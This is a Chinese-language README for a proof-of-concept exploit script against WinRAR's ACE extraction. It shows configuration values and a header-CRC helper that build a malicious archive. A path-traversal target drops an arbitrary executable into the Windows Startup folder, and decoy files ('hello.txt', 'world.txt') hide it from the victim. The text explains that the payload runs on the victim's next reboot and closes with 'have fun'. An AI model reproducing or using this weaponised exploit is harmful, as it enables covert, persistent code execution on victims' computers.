针对 从Winrar中提取代码执行 的exp
poc 由 Ridter 编写
如何使用?
你只需要安装 Python 3.7,并准备一个你想运行的恶意文件,设置好你想要的值,这个 exp 脚本会自动生成恶意压缩包文件!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
运行 exp,exp 会自动生成 test.rar
当受害者打开 test.rar 时,他会看到 hello.txt 和 world.txt 文件,你也可以添加更多文件,更具吸引力的文件。
![]()
hi.exe 的文件,实际上它是 calc.exe。当他重新启动计算机时,hi.exe 将会运行。![]()
玩得开心!:)